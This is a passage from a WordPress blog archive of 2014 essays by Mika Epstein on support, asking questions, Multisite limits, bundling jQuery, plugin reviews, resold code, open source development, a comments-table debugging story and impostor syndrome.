Boy that probably sounds weird to a lot of people. A smart, simple, question, is a page shy of being asked by Captain Obvious. It may net you a reply of “Ask that again, would you?” so you slow down and think about what you just asked, clearly. Other times, the smart and simple is a clarification of something confusing in documentation (or missing from documentation entirely). Maybe it’s a link you can’t find. Maybe it’s that thing you know your wife will remember, like an actor’s name (“Honey, who was the guy who wasn’t a guy in the movie with the weird clothes? Tilda Swinton! Thank you!”)
They sound like they’re stupid questions, don’t they? The ones you ask and think “I was dumb.” They’re not. They’re really smart because you know the one thing, and the one person, who can help you pull an answer out of your own head.
The other great smart and simple questions are the one-offs. They’re short. “How do I start this car?” That’s generally smart and simple. But moreover, they’re *specific*! That’s the trick to a simple question, it’s to the point and direct. It means you’re not sending a novel to the CEO of the company, but a carefully thought out explanation of what you expected to happen and what actually happened. A good bug report is always simple, even when it’s complicated.
What it’s *not* is needlessly complex.
There are a lot of smart, complex, questions. You know the ones where it’s “How do I thread my new sewing machine?” Sounds relatively simple and easy, but it’s deceptive. I say this having had to read poor documentation, from 1920, on how you thread a sewing machine. I realized I was smart, but I was inexperienced, so I googled how to thread that specific machine. It was a smart question, but it wasn’t simple. In fact, it was insanely complex, and at a certain point someone in the house wailed “I just want to sew!”
A smart, complex, question is a great question, but it’s not one you should ask frivolously. What you *really* just asked is not ‘How do you…’ but ‘Teach me how to…’ And if you think *teaching* is quick and simple, you have a lot to learn. The complex questions are made worse when they’re asked with that novel. Oh, the novel. This is a novel, and if I saw a forum post or a ticket at work with all this in it from someone, I’d wince.
Smart and *simple*. Smart and *short*. My wife can teach someone to make cheese in five tweets. But I can’t debug (most) WordPress problems in that many. This is in part because tweeting code sucks, but it’s also because this isn’t a math question. I can probably explain Common Core in five tweets, but I can’t *teach* it in the same number. When you ask me a complex question, you don’t want me to explain, you want me to teach.
I know that [easy is hard](https://medium.com/p/c667b8fe5983). The easy answers are hard, and they take a long time, which is why sometimes I tell people “Maybe” or “You can, but it will be complex.” I’m not brushing you off, I’m giving you the biggest hint in the world.
Your question is complex and complicated. But it sure ain’t simple.
**Categories:** How It Is
**Tags:** essay, support
---
### [Why Can't Multisite...](https://halfelf.org/2014/why-cant-multisite/)
**Published:** April 7, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You can't always get what you want (but if you try sometimes, you just might find, a plugin you need).
**Content:**
Many times people complain that WordPress isn’t ‘complete’ because it doesn’t have the features they feel are indispensable. While explaining, and educating, to people that they can’t always get what they want out of core is often fruitless, the point remains that WordPress cannot, and should not, do everything. That’s a part of a longer post, but once you are willing to accept the fact that WordPress will never be everything to everyone, we can move forward.
There are practical reasons why Multisite doesn’t do everything people envision, and there are also some weird impractical reasons. Sometimes the answer to this is a very simple one, sometimes it’s confusing, and sometimes it’s technical. But there are reasons, even though we don’t like them, and over time they change or go away as issues are resolved.
Here’s a list of the common questions I get and their answers.
## Why can’t I manage everything about all sites from the network admin?
It would slow your site down. You’ve probably heard me say something like “WordPress Multisite was intended to be multiple *separate* sites managed by one install of the WordPress files.” When I say that, I don’t mean ‘managed’ the way some people envision managed. When I say ‘managed’ what I mean is “You manage your network settings from the network dashboard, and you manage your per-site settings from the per-site dashboard.”
Not every site has the same settings, anyway. The point being, if WP had to query every site for every setting (like all your comments), it would get really really slow when you have 11k comments on your blogs. And you’d be mad.
## Why can’t I set all defaults from the network?
Oh you want them to be all the same? [I’m not sure you should be using Multisite](https://halfelf.org/2011/dont-use-wordpress-multisite/ "Don’t Use WordPress MultiSite"), but since you are, this one is annoying.
In normal WordPress, you shove everything into `wp_options` and call it a day. On Multisite you have an options table per site, so `wp_2_options` and so on, but you *also* have `wp_sitemeta`. Some settings and plugins have been coded in a way to fall back, so it grabs defaults from that table. But. Not everything has been, because there’s a tacit assumption they don’t need to be.
Now there are plugins that will let you force in defaults on new site creation, but given that every single site admin can go in and change them, it would defeat the point. They’ll just change them! Thankfully, it’s a growing trend for plugins to include a Network Admin Settings page, where you can determine how to control things for your network. But that’s only going to be for things like caching and probably Jetpack. [Not ecommerce](https://halfelf.org/2013/ecommerce-dream/ "eCommerce Dream"). Yet.
## Why can’t I share media?
Because media is content and content is per-site.
There’s a plugin called [Network Shared Media](https://wordpress.org/plugins/network-shared-media/) which purports to being able to do this, but by it’s nature, content is sacrosanct and separate.

## Why are usernames using characters like – . \_ are not allowed?
Because they’re not permitted in subdomain URLs and since the blog URL is generated from your login name, it’s not allowed. The site admin can do it from the back end, though. This is highly imperfect, and perhaps should be changed (so maybe we could also have less than four characters in a name, which not even an admin can fix). The logic to do the detection would be a pill though, and you’d still want to do it on things like a mapped domain.
## Why can’t I just map a domain!?
That’s being worked on. Eventually WP will have that superpower.
Actually that brings me to the biggest reason why Multisite can’t… It’s not that it can’t, it’s that it probably shouldn’t, or it will be able to do so eventually. If you consider what the original intent of Multisite was, much becomes clear. Open Source Development doesn’t move at your pace, not even if you’re Matt Mullenweg. It moves at the pace of everyone involved in the coding and testing, and it moves at the pace of their ability to innovate. That means sometimes what you want isn’t there yet because it’s not easy, or because it’s not ready, or maybe because no one agrees with you right now that it’s a priority.
After all, [sometimes we’re wrong about Open Source Developmen](https://halfelf.org/2014/youre-wrong/).
**Categories:** How It Is
**Tags:** design, multisite, wordpress
---
### [Easier Control](https://halfelf.org/2014/easier-control/)
**Published:** April 2, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Thou art mortal. Thy code will change. Thou art mortal. Thy code will change.
**Content:**
In a WordCamp I heard a developer say something along these lines:
“I include my own jQuery because it’s easier and I can control things.”
The moment he said this, I clamped my mouth shut and bit my tongue. It was not the subject of this presentation, and multiple other people in the room had already pointed out that WordPress has it’s own version. Afterwards, someone remarked she saw steam coming out my ears. All I said in the room was “We reject themes and plugins from the .org repositories for including their own copies of jQuery.” and then shut up. After all, I was in the room because I wanted to learn about something I didn’t know, and that wasn’t jQuery.
It’s sad that my major takeaway from that talk is too many people sacrifice sustainability for ‘ease’ and ‘control.’
You may think that if you force install your own jQuery, you can be sure a random upgrade of WordPress won’t break your theme. You have full control over the theme, after all. And you may think that you can make your theme or plugin faster if you compress all the JS together yourself, rather than having WordPress load a dozen separate files. Those thoughts are both true, but you’re wrong. You’re never ‘master of everything’ unless you only use WordPress core and the themes and plugins that you built. And even then, you’re still not.
While it’s perceived as easier and faster to write code if you assume you know the truths of your website and will always be it’s master, the fact is the assumption is plain ignorant. These days, it’s rare you’re ever the sole developer of a site. You may be hired to make a theme, I’m hired to make a plugin, and someone else is titularly in charge of both of us, but probably doesn’t know a lick of code while still being the driving force behind the website. Not to mention we’re not the webmasters of the site. That may be some intern nephew of the boss, who will take over once we’re done.
And that is exactly where using our own versions of scripts will get us into trouble.
You’re master of your plugin, or your theme, but you’re not master of the rest of the world. Even if you’re making it on spec for someone for a specific purpose to be used on a specific site, there’s no guarantee that it’s the only time and place your code will ever be used. There’s no assurance that then 10 other plugins you tested with today will never upgrade, or that they won’t add more. If you get hit by a bus tomorrow, there’s no promise your code will remain untouched. Basically we’re running on pure arrogance that not only are we crystal clear about the present, but we’re totally perfect about knowing the future. And that just ain’t possible.
So. How do I explain why including your own jQuery in a theme or plugin, instead of enqueuing the one with WP, is bad?
“Picture this. Your theme has jQuery 2.0. So it de-enqueues WPs and re-enqueues yours. My plugin is using version 1.7. I do the same thing. Bob’s plugin uses 1.11, *HE* does the same thing. Joanne over there properly uses WP’s. Which one of our jQuery files wins?”
The problem is that you’re emphasizing short term gains (speed of development, speed of site) over long term sustainability (regression conflicts, duplicate files). You’re making your life a little easier, and actually harming the website you’re trying to make because tomorrow, you will be gone and they’ll be trying to figure out why the site is so slow. Or why it’s breaking when they upgrade Jetpack. After all, you tested with Jetpack, right? You were selfish, short sighted, and just … wrong.
But it’s okay. You can learn to do things better. You can do it right with your code and fix those mistakes. You can let the wookie win, and let WP control what it’s supposed to control, while only augmenting what you must control. And you can do it all in a friendly, sustainable, updatable, extendable way. Which is how WP wants it.

Oh and how to I handle minification? I have a proxy service do it for me. In my case, Google’s mod\_Pagespeed compresses and combines all my JS and CSS to make it one file that loads faster.
**Categories:** How It Is
**Tags:** coding, design, essay, support, wordpress
---
### [Resilient Responses in Reviews](https://halfelf.org/2014/resilient-responses-in-reviews/)
**Published:** March 31, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I'll know bad code when I see it, but fixing it is another matter.
**Content:**
I review a lot of code. A lot.
[](https://halfelf.org/2014/resilient-responses-in-reviews/alot/)On average, I look at around 100 plugins and themes (combined) per day. If I’m not reviewing code for the WPORG plugin repository, I’m debugging sites for customers, writing my own code to make it better, testing patches for WordPress, and pretty much dancing the dance a lot. I like this sort of thing a lot, since I get to see all sorts of different methods to madness, and it improves my abilities to see people doing it right and wrong.
That said, I’m not the best coder in the universe. I don’t claim to be, I don’t plan to be, and I don’t worry that I’m not. We all have our skills and mine is not to be a psycho awesome super coder. Mine is debugging, breaking, helping people debug and break, and writing. We call that support, generally, and it’s a noble profession! But more on that another day. The fact is I don’t know all the code in WordPress. I’m guilty of `doing_it_wrong()` often enough. And yet, I don’t see my ignorance to be a detriment to what I do.
In an article [“Probability and Possibilities”](http://asia.nikkei.com/magazine/20140306-The-road-forward/Cover-Story/Probabilities-and-possibilities), my father talks about how we react to natural disasters, and how that impacts how we *predict* them, and their costs. Near the end, he talks about being prepared by having resilient responses, and lists the following traits of those people/groups:
> 1. Drawing on experience
> 2. Questioning that experience
> 3. Intuition
> 4. Improvisation, or making the most of materials at hand
> 5. Listening and speaking
> 6. Examining preconceptions
> 7. Ignorance + knowledge = wisdom
> 8. Recognizing and taking advantage of luck
[](https://halfelf.org/2014/resilient-responses-in-reviews/alot-of-bugs/)I didn’t realize it at the time, but my dad raised me to be resilient, because those eight traits are ones I apply constantly to my code reviews. It’s because of those that I’m able to do all those plugin reviews, even when I don’t know all the right moves. As a senator once said, I know it when I see it.
Many times, I’ll review a plugin and flag it saying “This is not secure” or “This is not done properly” and sometimes I’ll take a moment to explain exactly why, but given the sheer volume of reviews I need to get through to keep up my end of the review process I will often use some standard ‘predefined’ replies. I don’t review all plugins, nor do I reply to all the emails, though sometimes I know it looks like I do. Still, if one person has to review 25 plugins a day, and craft a reply for half of them (yes, about half the plugins we get need some sort of reply that isn’t ‘approved!’), how am I, a non-uber coder, capable of actually knowing that the code is wrong?
I’m going to tell you the biggest secret of support ever. You ready?
**You don’t have to know how to fix what’s wrong to know that it is, in fact, wrong.**
That’s it. Not knowing how to fix things was, I admit, one of the leading causes as to the impostor syndrome feelings I had when writing my [WordPress Plugin Support ebook](https://store.halfelf.org/ebooks/wordpress-plugin-support/). But the thing was, I knew that the code was right or wrong most of the time. Oh, sure, I make a couple mistakes, but if I see someone calling `wp-load.php` directly in their code, I’ll tell them it’s not permitted and then they get a canned reply as to why, with some general suggestions.
I stopped worrying about not being able to help someone debug their own plugin for a couple reasons, though. It’s (generally) not my job to help you write your own code. If you have a jquery conflict or need help calling WP functions outside of WP (please don’t), I can help you with a search or suggestions where to ask, but just because I don’t know the answer doesn’t make my telling you that you’re not permitted to do something in the WPORG repository invalid.
Ah, there’s the crux isn’t it? Someone was doing code in a totally janky way. It happens. Most of the time, we end up doing this by accident, not knowing there’s already a WP function or action to use for it. We reinvent the wheel by accident. Let’s pretend this guy was using his own copy of jQuery. Now, as we all know, you don’t need to do that! [WordPress comes with jQuery and you can just enqueue it.](https://halfelf.org/2012/jquery-why-u-no-enqueued/ "jQuery – Why U No Enqueued?") So there’s a canned email we send, explaining you can’t include your own, nor can you call it remotely, please use ours.
The reply comes back “My code won’t work without my own.”
So I reply to the effect of “Please correct your code to work with our version of jQuery. The most common cause of these conflicts is not writing your code to work in no-conflict mode.” And then there was a series of links.
He replied, “Why don’t you just tell me what I did wrong?”
[](https://halfelf.org/2014/resilient-responses-in-reviews/alot-of-patches/)I explained I would if I could. But I don’t know his code, I’m not awesome at jQuery, I don’t care to reverse engineer everything to figure out exactly what’s broken, and it’s not my plugin anyway. So … no. I don’t know how to fix it, but I do know that, having listened to a lot of smart people and having read a lot of code, that the primary cause is an issue with no-conflict mode. So I can Google that and get [wp\_enqueue\_script() – jQuery noConflict Wrappers](http://codex.wordpress.org/Function_Reference/wp_enqueue_script#jQuery_noConflict_Wrappers) as a hit (this is the WordPress Codex) and read that this happens if you use the `$` shortcut, so I take a second look at his code, determine this is the case (though perhaps not the cause of all issues), and reply back with that info and a link. I’m helpful.
He doesn’t agree. “If you know so much, you should fix it.”
No, sorry. This time I explain I don’t know much more than that as I’m not great with JS yet, and now I expect to get smarmy commentary on how, if I don’t know how to fix it, I don’t have the right to tell him it’s wrong. After all, I’ve heard that a hundred times before. Instead, this guy says “Yeah, I don’t know either, so who am I to judge? Okay, any suggestions where to ask for help?” After picking my jaw off the floor, I sent him to wp-hackers and stack-exchange, after doing a quick search to see what other direct links might help, including one on SE that looked like the absolute answer. He came back, said the SE answer was it, and everyone was happy!
I solved the issue by being resilient, and giving the ultimate support. Also now the guy has the tools to do it himself next time.
**Categories:** How To
**Tags:** coding, debug, essay, wordpress
---
### [ZOMG! You Stole My Code!](https://halfelf.org/2014/zomg-you-stole-my-code/)
**Published:** March 28, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Teach a user to upload, and you've saved your own vacation. Which you paid for by installing and teaching them to begin with.
**Content:**
While the GPL is pretty clear about this, and my personal moral code is as well, the topic today is not about the question of is it *right* to resell someone else’s work, but what do you do **when** someone’s reselling yours?
This happened to my friend not too long ago. Someone else took her theme and was reselling it and you either already know who it is or you don’t, it doesn’t matter for the sake of this story. Now, the issue was not if they *could* resell it, we all agreed they could. The issue was **how** they resold it. That is, they took her images, much of her ad copy, and resold it, presenting it as if it was their own code. And that was, we all agreed, wrong. That’s fraud, in my eyes. You’re taking someone else’s work and claiming ownership of it. But. That wasn’t my fight, it was my friend’s, and all I could offer was some moral support and connections.
But when this happens to you, what do you do?
First, don’t type angry. It’s okay to type while you’re mad, but if you’re like me, and your skin heats up when you’re angry and you get all green and violent (I type really loudly), it’s probably a good moment to step back and think about why you’re angry. After all, GPL says this is allowed, right? I get mad because of perceived ownership. It’s one of my things. You should never claim to be something you’re not and you shouldn’t sell something that isn’t yours.
And that’s the angle I’d use to approach the situation. I would find the person, ping them privately if possible (almost everyone has a contact page these days) and ask them if they could change the wording to make it clear that this isn’t their code, it’s mine, and they’re using and providing it without the support of the original author. That’s what my friend did, and that’s also what the other people whose themes were being resold did. They pointed out that the reselling was confusing to the customers, and the customers got an unlicensed product.
What if that fails? Well. Now it’s messy. Legally if they’re taking my content and putting it up on their site with verbiage that implies it’s theirs, I have a DMCA takedown right. My content is all under copyright (I have not, nor will I any time soon, chose to go copyless) and I use the CC BY-NC-SA 3.0 license, so if you use my content, wholesale, without attribution, you’re stealing. But this isn’t about my content, it’s my code, and all my code is released GPLv2 (unless otherwise noted). That means in order for me to come up and tap your shoulder, you have to take my code *and* my content.
Boy this got complicated. But if I ping you and say “Hey, bro, not cool.” and you ignore me, or tell me to sod off, I’ll come back and ping your webhost. “Hi, this guy is stealing my content. I asked him nicely to stop. Here’s a copy of our conversation.” I should note, none of the times I’ve ever had to do this have gotten past this step. The hosts have always stepped in, poked the perpetrator, and that was that. The times *I* was the bad guy (reprinting news articles), the content owners have only ever had to ask me to take it down. It’s never gotten past me.
Well okay, so what happens if the host says “Tough luck” or “We agree, but we can’t do anything without a takedown notice.” Now you bring in the law and file a DMCA (Digital Millennium Copyright Act) take down. DMCA is a U.S Copyright Law covering intellectual property. Your blog posts and ad-copy are your intellectual property. This went to a pretty dark place, didn’t it? I mean, I hate the DRM with a passion, and I freely give away my stuff, so let’s stop talking about the legal stuff. You can look it up on your own if you really want to know how to file all that.
Most of the ‘handling’ of someone who steals your stuff isn’t even the legal hassle, anyway. It’s just the pain of getting in touch with them, explaining the situation, and getting it sorted. And the headaches come from having to explain over and over that you’re not mad (though you probably are) and you just want them to stop making it look like they’re you, please and thank you.
Okay, so how might I justify selling someone *else’s* theme or plugin? I would sell a service. It’s really that simple. I would sell the downloading, installing, configuring, and tweaking of the product. I would charge them the raw cost of the product AND give them the license information (it’s their now). I may charge them for some ‘placeholder’ text to import via the WP importer, and to import it. Certainly I would charge for some training on how to do this going forward. But the thing I wouldn’t do is actually say “This is our plugin” or “This is my theme.” Because it’s not.
I’m just making sure you can have the theme better, faster, and easier. Plus now they can upgrade and I can go to Fiji!
**Categories:** How To
**Tags:** essay, open source, wordpress
---
### [You're Wrong about Open Source Development](https://halfelf.org/2014/youre-wrong/)
**Published:** March 21, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You're not wrong, but you may be wrong, and that's why your favorite tool doesn't do what you want. Yet.
**Content:**
We like to say that the ‘customer’ is always right. But when it comes to open-source products, the line between customer and developer is blurred. I joke that I’m not the owner of code, I’m the custodian, and by fielding questions from users and other developers, I turn that into a better product. There’s more and more calls for people like me by the way. A non-insignificant number of companies ask me “Is there someone else like you who would want to work for us?” because giving good support is hard, it’s a weird skill set, and it requires the ability to tell someone “I’m sorry, but that’s just not correct.”
Yes, I tell people they’re wrong a lot. When I say it, I try to couch it in more friendly terms like “I understand why you’d think that, however because of XYZ the product chose to do ABC.” Or maybe even “That would be great, but historical support forces us to do that in a way that would remain backwards compatible. It would suck if we broke everyone going forward, right?” See the point here is that you’re not *right* but you’re not exactly wrong either, you’re just isolated in view.
Tunnel vision is something that happens to all of us. We look at the world from our perspective (yes, I was Captain Obvious there, I know), which means when most people remark that a project *needs* something, what they really mean is they need it. This is the part of passion that escalates into angry and vitriol remarkably fast, by the way, so if you’ve ever seen someone go from zero to abusive in three comments, that’s often what’s going on. They really want something to the point that they see red and can’t get out of their tunnel.
Getting back to the rational world is hard, especially if you don’t really understand what it means to develop open source. You may think the developers are ignorant of their users, or out of touch, or don’t care. After all, if open source allows anyone to contribute, why doesn’t a project do everything?
Well besides the fact that it *can’t* do everything, there are four main reasons a project doesn’t do things the way *you* it to. This doesn’t mean you’re right or wrong. Being wrong doesn’t mean you are wrong. It’s pretty hard to ever hear ‘wrong’ and not take it a little personally, though. Just keep in mind the reality that most Open Source developers are way more in touch with their users than people behind iOS or Microsoft Word. They just move at a different pace.
## Support
The people who write the code have to support the people who don’t (or can’t). If they don’t want to support certain code, they shouldn’t have to. After all, what if they don’t feel confident that they can!? If you ask a developer to put in a feature they don’t use and don’t really understand, what happens when it breaks? I always tell people “You can’t support what you don’t know, and you can’t know what you don’t use.” This is why everyone who’s been through my WordPress training is pushed to actually use WordPress. Supporting something is so much easier if you use it. Thankfully all WordPress developers use the product every single day, so they know what it’s like.
## Complications
The code is something everyone wants, but it’s too damn hard to code *and* remain backwards compatible, which is a huge deal for WordPress. A good example of this kind of thing would be WordPress Multisite’s shift from using `/blogs.dir/` to `/uploads/` for storing uploads. Doing this allowed us to [dump MS Files](https://halfelf.org/2012/dumping-ms-files/ "Dumping ms-files") and speed up WordPress because we’re no longer routing images through PHP (lots of benefits there). It came at the cost of losing the ‘hide’ effect of the `/files/` URL, but you weren’t really fooling anyone about that anyway. Point being, we had to do this in a way that didn’t break everyone on an older design of WP! That took a lot of time!
## Time
It takes a lot of time to get code right. So maybe they’re actually working on it, but it’s going to take a long time and it’s not done yet. Open Source moves at the speed of imagination and passion, so if a developer has the time and the itch, things get done. Some tasks are pure drudgery, which brings us to …
## Feelings
If you’re stuck between writing code you like to do a feature you want and writing code someone else wants and you don’t have an investment in, you’re probably going to do what you want. This is the reason that’s hardest to understand, and it’s the one most people call ‘unprofessional’ because it boils down to “Oh you don’t like something so you’re not doing it?” If this was iOS or MS Word, yeah, you’d get fired. But this is Open Source, and the rules are a little different here. We make what we make out of that same passion you have to see what you want to see.
## So … why not what I want?
Because not yet. Maybe never. But WordPress was built to be extendable, not to be everything for everyone all the time. And that’s the beauty of it. But that’s another post altogether.
**Categories:** How It Is
**Tags:** development, essay, open source
---
### [I Don't Care If You Use Multisite](https://halfelf.org/2014/dont-care-about-multisite/)
**Published:** March 19, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Nope. Don't care. La la la! Not listening to you! I care that you think, not if you use.
**Content:**
I love Multisite. I think it’s awesome. It makes my personal life way easier, it helped me write a book and get a job, and it’s a totally cool aspect of WordPress that is still underdeveloped but a very hard worker. Multisite could be so much more, and it’s still that [new kid on the block](https://halfelf.org/2012/multisite-stands-alone/), but it’s growing every day.
When I tell people over and over again that they [shouldn’t use WordPress Multisite](https://halfelf.org/2011/dont-use-wordpress-multisite/), I do so knowing there’s a good time to break every reason I said not to use it. After all, [why *not* use it](https://halfelf.org/2014/why-not-multisite/)?
But there’s one big question I don’t answer in the WordPress forums anymore, and that is “**Should** I use WordPress Multisite?” Oh I may clarify specific moments in what I said in other places (like you can duplicate content, but I don’t believe you should), but I won’t get into conversations of “Is this a good use case?” The reason why is that I *cannot* tell you, quickly, if you’re a good candidate for being a WP Multisite Admin, nor can I glance and say that your situation and environment is perfect for multisite. And the reason for this is that Multisite is complicated.
Actually that’s wrong. The reason is I don’t know, and neither do you.
Do you remember, way back when you started with websites, and you first looked at WordPress and asked yourself “Is WordPress right for me?” Someone probably said “It can be.” or “Maybe.” Oh I’m sure someone said “Of course!” And another person said “No way!” But the point of all of those answers is that *it depends*.
When you consider using Multisite, or WordPress (or anything) for that matter, you should take stock of what you want to do. Does the product, natively, support those things out of the box? Do people complain that doing something is really hard? Do people say it’s weird, but works? Do people suggest plugins? None of those things are reasons to not use the product, whatever it is, but it’s getting an understanding as to what world you’re stepping into that is important.
But I know, I just know, one of you will post a comment here “Mika, I just want to know if I should use Multisite! Please tell me!”
No.
It takes me about an hour to determine if you and your *current* site are a candidate for Multisite (and yes, I have rules). Then there’s another two to three hours going over your specs (and probably pushing to get more details) and making sure this can’t be done easily with a standard WordPress install, that it *can* be done with WordPress, if there are extant plugins, and if there’s custom work that’s going to be needed.
Basically it’ll be about half a day spent to give you the answer you deserve, and even then, it’s not going to be the full answer because you’ve probably forgotten to tell me something like “I need non-logged in users to be able to upload files.” or “This will be on Windows IIS.”
Hopefully at this point you’re thinking that’s fair of me. Four hours of my time is worth around $1000 USD (my going rate is $250/hour when I’m available, which is rare), and while I’d be happy to do a flat-fee for that sort of thing, no one in the history of ever has come to me with a clean and precise list of what they need and why and how they plan to grow.
Which brings me back to why I just can’t do this anymore. I just don’t know. I don’t know you, I don’t know your skills. I don’t know the skills of your users and I don’t know your future plans. I don’t know if you’ve compared the options yet. I don’t know your feelings about custom code and a lot of plugins. I don’t know your requirements. I don’t know if you want to have multiple sites with no admins, or a network with a hundred super admins (please don’t do either of those things). I don’t know your SSL requirements, your domain mappings, your servers, or your host. And because I don’t know those, I can’t answer the question fairly.
I don’t care if you use it or if you use multiple separate sites. I **do** care that you understand that multisite is complex and I care a great deal that you’ve researched your options. I care that you ask questions like “If my database gets too big, can I split it with Multisite?” (Yes, use HyperDB or SharDB.) I care that you consider “Is a custom post type slower or faster than a separate site on a network?” (Neither, as it happens. They’re about the same.) I get really happy if you ask specific questions, actually. You know, the ones that tell us you’ve looked into this and thought about it.
The answer to “Should I use Multisite is?” is a question.
“Are you **prepared** to use Multisite?”
**Categories:** How It Is
**Tags:** multisite, wordpress
---
### [Not The Bug I Expected](https://halfelf.org/2014/not-the-bug-i-expected/)
**Published:** March 14, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Adventures in debugging a database error of the sort I had never seen before!
**Content:**
“Comments aren’t working,” he said and I winced. I hate when people say ‘broken’ or ‘not working’ because I don’t magically know what they mean by ‘working.’ But this guy was a coworker whom I like and trust so I asked what he meant by not working, and he said “When you enter a comment, the page reloads, but there’s no comment.”
“Okay,” I muttered to myself. “Touché, Mika.” Because that, indeed, was ‘not working.’ We turned on debugging and got a strange error:
```
WordPress database error: [Duplicate entry '0' for key 'PRIMARY']
INSERT INTO `wp_comments` (`comment_post_ID`,`comment_author`,`comment_author_email`,`comment_author_url`,`comment_author_IP`,`comment_date`,`comment_date_gmt`,`comment_content`,`comment_karma`,`comment_approved`,`comment_agent`,`comment_type`,`comment_parent`,`user_id`) VALUES (507,'lori','admin@example.com','','12.248.40.138','2014-02-07 23:07:08','2014-02-07 23:07:08','test',0,'1','Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0','',0,1)
```
And then it was a mess of ‘Trying to get property of a non-object…’ and ‘headers already sent.’
After some kicking of the usual suspects (reinstall WP, remove plugins, theme, etc) I realized I was stupid and the problem was that the table wasn’t updating the primary entry. It should start at 1 and move up to 2 and so on. Since everything else was working, I compared the table to a working one … and they were not the same. Here’s a good one:

There’s had `comment_id` as the name, and the rest of the values were blank. So I restored the values and it worked! Except … I was getting a new error.
```
Notice: Undefined property: stdClass::$comment_ID in /home/wp-includes/comment.php on line 155
Warning: Cannot modify header information - headers already sent by (output started at /home/wp-includes/comment.php:155) in /home/wp-includes/pluggable.php on line 896
```

I stared at that for a moment and after I had given up and proposed we reinstall WP and copy tables over, my brain kicked in and I said “Wait a second, isn’t that comment\_**ID** and not **id**?” I changed it on a whim and shouted “HOLY \*\*\*\* I AM GOOD!”
Yes, it was in all caps. Yes, it was said to my coworker, who said I have his vote.
That was, by far, the weirdest error I’ve seen in months. And the moral of all this? You can’t know everything, but if you read and pay attention and are willing to experiment, you can solve pretty much anything.
**Categories:** How To
**Tags:** database, debug, wordpress
---
### [Is This Plugin Bad?](https://halfelf.org/2014/bad-plugin/)
**Published:** February 28, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** They're not bad, they're just misguided! And the secret answer is "Be aware."
**Content:**
I get asked this a lot, in part because of my job (WordPress Support Guru and Manager) but also because I’m a know-it-all busy-body. The problem with the question is that it’s very subjective, and the answer highly depends on why someone’s asking the question.
I’m sure it annoys my co-workers when they ask “Is this plugin bad?” and I ask “What problem is the customer reporting?” If the answer is that the customer has a slow site, then *MY* reply will be different than if they were hacked. Making matters worse, sometimes the answer depends on what other plugins they’re using, or what their theme is, or *how* they use everything together! You see, the issue is rarely “This is a horrible, evil, terrible plugin and no one should ever use it!” It’s generally more “Well in this case, I would say this is the best plugin, but you have to take this into consideration…”
As a customer, it’s annoying. I just want a yes or no answer. But this is like that gas milage situation I talked about in my explanation of Shared Hosting. How many tanks of gas does it take to drive from Chicago to Cleveland? For me, it’s one. For my cousin, it was two and some change. Same distance, same day, same weather! What was different? The car and how we drove.
Your site and my site are different. This site and [this other site on my network](https://store.halfelf.org) are different. They run different plugins, though the same theme, and sometimes one of those different plugins causes a problem. Like I found out the custom prices plugin caused my background image not to display. Oops. Does that make it bad?
There are a few types of ‘bad’ plugins to consider.
**Evil Plugins**
This is the easiest to explain. A plugin that is created to do evil things, like leave backdoors into your site, is bad, no matter what. Don’t use it.
**Holey Plugins**
This plugin has the best intentions in the world, but for whatever reason has a security hole. Maybe they forgot, maybe they missed it, but it happens to everyone. In general, this is not a bad plugin, unless the dev refuses to fix it. Or worse, *can’t* fix it! Now it’s a bad plugin.
**Broken Plugins**
Pretty common, this is a plugin that once worked but now, with the new upgrade of your theme/plugin/WordPress it stopped. This one sucks, and not much can be done except try and fix it, unless the developer comes around.
**Works For Everyone But You Plugins**
This is the brunt of what people mean when they ask me “Is this a bad plugin?” but they just don’t know it yet.

If you haven’t noticed, most of the ‘bad’ plugins are really just unfortunate plugins in bad situations. Determining if a specific plugin is bad *for you* isn’t as simple as going “Yes, I know that plugin is crap!”
What I do know, but I have to be circumspect in saying, is some plugins are better than others for specific server situations. You’re on shared? You probably don’t want W3 Total Cache right away because the best parts of it (that hooks into server side caching) aren’t available for you. On a VPS? You can probably use that YARPP (yet another related posts…) plugin just fine! Oh, but you’re using it with BuddyPress and bbPress and a whole mess of other plugins with a high degree of interactivity? You may need more memory.
And that’s the real answer. Is any individual plugin I named ‘bad’? No! In fact I’ve used them all and they’re wonderful in their use case. But they also require me to be aware of my whole situation. What kind of server am I using, what kind of environment am I in, what other plugins am I using?
It all comes back to being aware.
**Categories:** How It Is
**Tags:** plugins, security, wordpress
---
### [Impostor Syndrome](https://halfelf.org/2014/impostor-syndrome/)
**Published:** February 17, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** More philosophy than anything else, the illogic behind feeling like you can't and how it limits you.
**Content:**
Shortly before I pushed out an ebook ([WordPress Plugin Support](http://store.halfelf.org/ebooks/wordpress-plugin-support/)) I had a rush of panic and fear. “Why do I think I’m capable of this!?” I asked myself. “I’m not a great coder like Jorbin! I don’t know deep seated WordPress secrets like Otto! I’m not an autodidactic trac machine like Sergey! Where do I get off thinking I can write a book about plugins!?”
Then I stepped back. I wasn’t writing a book about how to write plugins or how to code, or even everything that everyone did wrong. I was writing a book about how to submit a plugin to the repository. I was writing about how to handle support, how to document, how to reply to people, and generally how to not be a pain in the ass. That’s all stuff I know damn well, and I’m good at!
So why was I scared?
Impostor syndrome is a weird idea. It’s basically feeling like you’re not worthy of the praise you get. Have you ever had someone say “Thank you!” and you replied “It was nothing.” even though it was hours of thought where you racked your brain for a long lost memory? Why didn’t you say ‘You’re welcome.’ instead? It’s because somewhere, deep down in your head, you were sure you didn’t deserve it.
Mentioning this on Twitter brought up the suggestion I write a book about impostor syndrome and how to overcome it, but the fact is I don’t know how.
Oh, don’t get me wrong, I know what I’m supposed to do, but I can’t do it and not feel a little bit like a fraud. I was always told ‘Write what you know!’ and that gave me the courage and confidence to hit the publish button on a lot of posts here, and my books. Certainly I wasn’t raised to not be confident, which is funnier if you know my father. I have absolute confidence in myself and my abilities. I know I can do things, but still I get scared.
